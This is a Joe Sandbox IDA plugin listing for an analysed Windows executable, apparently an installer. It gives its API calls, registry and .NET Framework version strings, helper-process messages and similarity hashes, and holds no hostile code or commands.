                                                                                          • Opcode ID: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
                                                                                          • Instruction ID: 0f3e5998203d07172116f12fa3fedaa120d09cd030f2870c51d139f455c41937
                                                                                          • Opcode Fuzzy Hash: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
                                                                                          • Instruction Fuzzy Hash: E941AD71E44619AFDB10DAE9C846FEFB7BCEB08704F104466B614F7281D6786D408BA8
                                                                                          APIs
                                                                                            • Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828
                                                                                          • WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00472D00
                                                                                          • SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 00472E07
                                                                                          • SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 00472E1D
                                                                                          • SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 00472E42
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
                                                                                          • String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
                                                                                          • API String ID: 971782779-3668018701
                                                                                          • Opcode ID: 2d89b570042f54901974877e938fd47b21837ccabee8972bdab534961fdf4a04
                                                                                          • Instruction ID: 7edda302242157afef40b0e7c7e05039b068dedd9e36cd510e855ba872eb221a
                                                                                          • Opcode Fuzzy Hash: 2d89b570042f54901974877e938fd47b21837ccabee8972bdab534961fdf4a04
                                                                                          • Instruction Fuzzy Hash: D0D14574A001489FDB11EFA9D981BDDBBF4AF08304F50816AF904B7392C778AE45CB69
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegQueryValueExA.ADVAPI32(0045AB6A,00000000,00000000,?,00000000,?,00000000,00454B0D,?,0045AB6A,00000003,00000000,00000000,00454B44), ref: 0045498D
                                                                                            • Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7
                                                                                          • RegQueryValueExA.ADVAPI32(0045AB6A,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045AB6A,00000000,00000000,?,00000000,?,00000000), ref: 00454A11
                                                                                          • RegQueryValueExA.ADVAPI32(0045AB6A,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045AB6A,00000000,00000000,?,00000000,?,00000000), ref: 00454A40
                                                                                          Strings
                                                                                          • RegOpenKeyEx, xrefs: 00454910
                                                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548E4
                                                                                          • , xrefs: 004548FE
                                                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548AB
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: QueryValue$FormatMessageOpen
                                                                                          • String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
                                                                                          • API String ID: 2812809588-1577016196
                                                                                          • Opcode ID: 742d62a6869efcab47093dbd07b67c32618791e42156db71d55ecd28429abb8c
                                                                                          • Instruction ID: 3b35aed17da8244e85d272d2923899a44a2159637523a8fd9e70e85f8d21f96a
                                                                                          • Opcode Fuzzy Hash: 742d62a6869efcab47093dbd07b67c32618791e42156db71d55ecd28429abb8c
                                                                                          • Instruction Fuzzy Hash: 23914871E44148ABDB10DF95C842BDEB7FCEB49309F50406BF900FB282D6789E458B69
                                                                                          APIs
                                                                                            • Part of subcall function 00459364: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004594A1,00000000,00459659,?,00000000,00000000,00000000), ref: 004593B1
                                                                                          • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00459659,?,00000000,00000000,00000000), ref: 004594FF
                                                                                          • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00459659,?,00000000,00000000,00000000), ref: 00459569
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00459659,?,00000000,00000000,00000000), ref: 004595D0
                                                                                          Strings
                                                                                          • SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 00459583
                                                                                          • .NET Framework version %s not found, xrefs: 00459609
                                                                                          • SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 0045951C
                                                                                          • v2.0.50727, xrefs: 0045955B
                                                                                          • v4.0.30319, xrefs: 004594F1
                                                                                          • SOFTWARE\Microsoft\.NETFramework\Policy\v4.0, xrefs: 004594B2
                                                                                          • .NET Framework not found, xrefs: 0045961D
                                                                                          • v1.1.4322, xrefs: 004595C2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Close$Open
                                                                                          • String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$SOFTWARE\Microsoft\.NETFramework\Policy\v4.0$v1.1.4322$v2.0.50727$v4.0.30319
                                                                                          • API String ID: 2976201327-446240816
                                                                                          • Opcode ID: 06cdcde3b802fa8939e5b925d5f0cc04c3aa7329a2dd441772a6abba54712f42
                                                                                          • Instruction ID: e7879d346446e6db82ad1067b50e8ffdd52b59a139ce3e0e88c8f748029a0227
                                                                                          • Opcode Fuzzy Hash: 06cdcde3b802fa8939e5b925d5f0cc04c3aa7329a2dd441772a6abba54712f42
                                                                                          • Instruction Fuzzy Hash: EB51A331A04148EBCB01DFA8C8A1BEE77A5DB59305F54447BA801DB353EA3D9E1ECB19
                                                                                          APIs
                                                                                          • CloseHandle.KERNEL32(?), ref: 00458A7B
                                                                                          • TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 00458A97
                                                                                          • WaitForSingleObject.KERNEL32(?,00002710,?), ref: 00458AA5
                                                                                          • GetExitCodeProcess.KERNEL32(?), ref: 00458AB6
                                                                                          • CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00458AFD
                                                                                          • Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00458B19
                                                                                          Strings
                                                                                          • Stopping 64-bit helper process. (PID: %u), xrefs: 00458A6D
                                                                                          • Helper process exited with failure code: 0x%x, xrefs: 00458AE3
                                                                                          • Helper process exited, but failed to get exit code., xrefs: 00458AEF
                                                                                          • Helper process exited., xrefs: 00458AC5
                                                                                          • Helper isn't responding; killing it., xrefs: 00458A87
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
                                                                                          • String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
                                                                                          • API String ID: 3355656108-1243109208
                                                                                          • Opcode ID: 5acb86a21610ff93fc26a18ca7688f4a609edf5baed34ffefeefbdc5f868b4c1
                                                                                          • Instruction ID: 3f2324d87e707cedf1d5c4e10b6e93e7b0b52df74c864805f1ac214018e434b5
                                                                                          • Opcode Fuzzy Hash: 5acb86a21610ff93fc26a18ca7688f4a609edf5baed34ffefeefbdc5f868b4c1
                                                                                          • Instruction Fuzzy Hash: 2F2130706087409AD720E779C44575BB6D49F08345F04CC2FF99AEB283DF78E8488B2A
                                                                                          APIs
                                                                                            • Part of subcall function 0042DDE4: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10
                                                                                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045464F
                                                                                          • RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045478B
                                                                                            • Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7
                                                                                          Strings
                                                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454597
                                                                                          • , xrefs: 004545B1
                                                                                          • RegCreateKeyEx, xrefs: 004545C3
                                                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454567
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseCreateFormatMessageQueryValue
                                                                                          • String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
                                                                                          • API String ID: 2481121983-1280779767
                                                                                          • Opcode ID: 1658ad98f5d652d8ab18f870bc50976d397f5a9f15be4283fc870004d2c294f4
                                                                                          • Instruction ID: 93c55a0ab54dbcba353dd8d7ef9dbdddde8d62e860aeeeeaccb8ee2ace91ec52
                                                                                          • Opcode Fuzzy Hash: 1658ad98f5d652d8ab18f870bc50976d397f5a9f15be4283fc870004d2c294f4
                                                                                          • Instruction Fuzzy Hash: 49810F75A00209AFDB00DFD5C981BDEB7B8EB49309F10452AF900FB282D7789E45CB69
                                                                                          APIs
                                                                                            • Part of subcall function 004538BC: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,!nI,_iu,?,00000000,004539F6), ref: 004539AB
                                                                                            • Part of subcall function 004538BC: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,!nI,_iu,?,00000000,004539F6), ref: 004539BB
                                                                                          • CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00496CCD
                                                                                          • SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00496E21), ref: 00496CEE
                                                                                          • CreateWindowExA.USER32(00000000,STATIC,00496E30,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00496D15
                                                                                          • SetWindowLongA.USER32(?,000000FC,004964A8), ref: 00496D28
                                                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496DF4,?,?,000000FC,004964A8,00000000,STATIC,00496E30), ref: 00496D58
                                                                                          • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00496DCC
                                                                                          • CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496DF4,?,?,000000FC,004964A8,00000000), ref: 00496DD8
                                                                                            • Part of subcall function 00453D30: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17
                                                                                          • DestroyWindow.USER32(?,00496DFB,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496DF4,?,?,000000FC,004964A8,00000000,STATIC), ref: 00496DEE
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$File$CloseCreateHandle$AttributesCopyDestroyLongMultipleObjectsPrivateProfileStringWaitWrite
                                                                                          • String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
                                                                                          • API String ID: 1549857992-2312673372
                                                                                          • Opcode ID: e4b2ecfcfa893ff17553470f1835d2c21342bacfaf5c8ca03e615e843d4af16f
                                                                                          • Instruction ID: 18f462a79ff6f3765b6ab1b49dcd34ad23a8ddcce266b6658739bc0f5698dca4
                                                                                          • Opcode Fuzzy Hash: e4b2ecfcfa893ff17553470f1835d2c21342bacfaf5c8ca03e615e843d4af16f
                                                                                          • Instruction Fuzzy Hash: 61414C70A40208AFDF00EBA5DD42F9E7BB8EB08714F52457AF510F7291D7799E008B68
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E6DC,00000000), ref: 0042E441
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E447
                                                                                          • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E6DC,00000000), ref: 0042E495
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressCloseHandleModuleProc
                                                                                          • String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$QaE$kernel32.dll
                                                                                          • API String ID: 4190037839-2312295185
                                                                                          • Opcode ID: 6084c433af3ee4d64f0cd9982e7ad42a34d4dd09e5920a5815d9b88696e74604
                                                                                          • Instruction ID: f42d7e7755912f49377b3a3c2778cbb45b18f2cdc7334bb7b0fb93ca3fe573dd
                                                                                          • Opcode Fuzzy Hash: 6084c433af3ee4d64f0cd9982e7ad42a34d4dd09e5920a5815d9b88696e74604
                                                                                          • Instruction Fuzzy Hash: E8213230B10225BBDB10EAE6DC51B9E76B8EB44308F90447BA504E7281E77CDE419B5C
                                                                                          APIs
                                                                                          • GetActiveWindow.USER32 ref: 004629FC
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll), ref: 00462A10
                                                                                          • GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00462A1D
                                                                                          • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00462A2A
                                                                                          • GetWindowRect.USER32(?,00000000), ref: 00462A76
                                                                                          • SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 00462AB4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$AddressProc$ActiveHandleModuleRect
                                                                                          • String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
                                                                                          • API String ID: 2610873146-3407710046
                                                                                          • Opcode ID: 49e394185691d1c2da29acdf0cb3719649ef4a9244e3d7219ece30713ed86938
                                                                                          • Instruction ID: 865a179037155f8fdabe2954c964c2dd38b7d55406d5d1e7c7801a7b23b437f8
                                                                                          • Opcode Fuzzy Hash: 49e394185691d1c2da29acdf0cb3719649ef4a9244e3d7219ece30713ed86938
                                                                                          • Instruction Fuzzy Hash: B7219575701B057BD610D6A88D85F3B36D8EB84715F094A2AF944DB3C1E6F8EC018B9A
                                                                                          APIs
                                                                                          • GetActiveWindow.USER32 ref: 0042F194
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll), ref: 0042F1A8
                                                                                          • GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042F1B5
                                                                                          • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042F1C2
                                                                                          • GetWindowRect.USER32(?,00000000), ref: 0042F20E
                                                                                          • SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 0042F24C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$AddressProc$ActiveHandleModuleRect
                                                                                          • String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
                                                                                          • API String ID: 2610873146-3407710046
                                                                                          • Opcode ID: d786bd72f778b9cca068a569f688e0802e61ee9ccadb1309323c976dabd5d685
                                                                                          • Instruction ID: 50a2e38ba83faf67dd7c56e8d7733487d454ef14a416094e89dadcccf0bf0910
                                                                                          • Opcode Fuzzy Hash: d786bd72f778b9cca068a569f688e0802e61ee9ccadb1309323c976dabd5d685
                                                                                          • Instruction Fuzzy Hash: 3821F279704710ABD300EA68ED41F3B37A9DB89714F88457AF944DB382DA79EC044BA9
                                                                                          APIs
                                                                                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00458DFB,?,00000000,00458E5E,?,?,021C3858,00000000), ref: 00458C79
                                                                                          • TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,021C3858,?,00000000,00458D90,?,00000000,00000001,00000000,00000000,00000000,00458DFB), ref: 00458CD6
                                                                                          • GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,021C3858,?,00000000,00458D90,?,00000000,00000001,00000000,00000000,00000000,00458DFB), ref: 00458CE3
                                                                                          • MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00458D2F
                                                                                          • GetOverlappedResult.KERNEL32(?,?,00000000,00000001,00458D69,?,-00000020,0000000C,-00004034,00000014,021C3858,?,00000000,00458D90,?,00000000), ref: 00458D55
                                                                                          • GetLastError.KERNEL32(?,?,00000000,00000001,00458D69,?,-00000020,0000000C,-00004034,00000014,021C3858,?,00000000,00458D90,?,00000000), ref: 00458D5C
                                                                                            • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004983A5,00000000), ref: 0045349F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
                                                                                          • String ID: CreateEvent$TransactNamedPipe
                                                                                          • API String ID: 2182916169-3012584893
                                                                                          • Opcode ID: 7b509680db312d6d9eeee96a6ca75077f36d693cf911451bc7dd7bcd49c3517f
                                                                                          • Instruction ID: 06b5d05a5e38ae799b2edb69ba26f0faef77b18cb4ad173b91f5c3c95d125767
                                                                                          • Opcode Fuzzy Hash: 7b509680db312d6d9eeee96a6ca75077f36d693cf911451bc7dd7bcd49c3517f
                                                                                          • Instruction Fuzzy Hash: EF418E75A00608AFDB15DF95C981F9EB7F8EB48714F1044AAF900F72D2DA789E44CA28
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00456E85,?,?,00000031,?), ref: 00456D48
                                                                                          • GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 00456D4E
                                                                                          • LoadTypeLib.OLEAUT32(00000000,?), ref: 00456D9B
                                                                                            • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004983A5,00000000), ref: 0045349F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressErrorHandleLastLoadModuleProcType
                                                                                          • String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
                                                                                          • API String ID: 1914119943-2711329623
                                                                                          • Opcode ID: e2963ea3afedc97cdb575031c9274042e2bd1e61e6c3a56a36b999a051922bf2
                                                                                          • Instruction ID: d1bb8c6bfccdc0522a96f5e3020b18907c52df716e7671809b7eaf465cfb4023
                                                                                          • Opcode Fuzzy Hash: e2963ea3afedc97cdb575031c9274042e2bd1e61e6c3a56a36b999a051922bf2
                                                                                          • Instruction Fuzzy Hash: 6831A375A00604AFDB41EFAACC12D5BB7BDEB8970675244A6FD04D3352DB38DD08CA28
                                                                                          APIs
                                                                                          • RectVisible.GDI32(?,?), ref: 00416E13
                                                                                          • SaveDC.GDI32(?), ref: 00416E27
                                                                                          • IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416E4A
                                                                                          • RestoreDC.GDI32(?,?), ref: 00416E65
                                                                                          • CreateSolidBrush.GDI32(00000000), ref: 00416EE5
                                                                                          • FrameRect.USER32(?,?,?), ref: 00416F18
                                                                                          • DeleteObject.GDI32(?), ref: 00416F22
                                                                                          • CreateSolidBrush.GDI32(00000000), ref: 00416F32
                                                                                          • FrameRect.USER32(?,?,?), ref: 00416F65
                                                                                          • DeleteObject.GDI32(?), ref: 00416F6F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
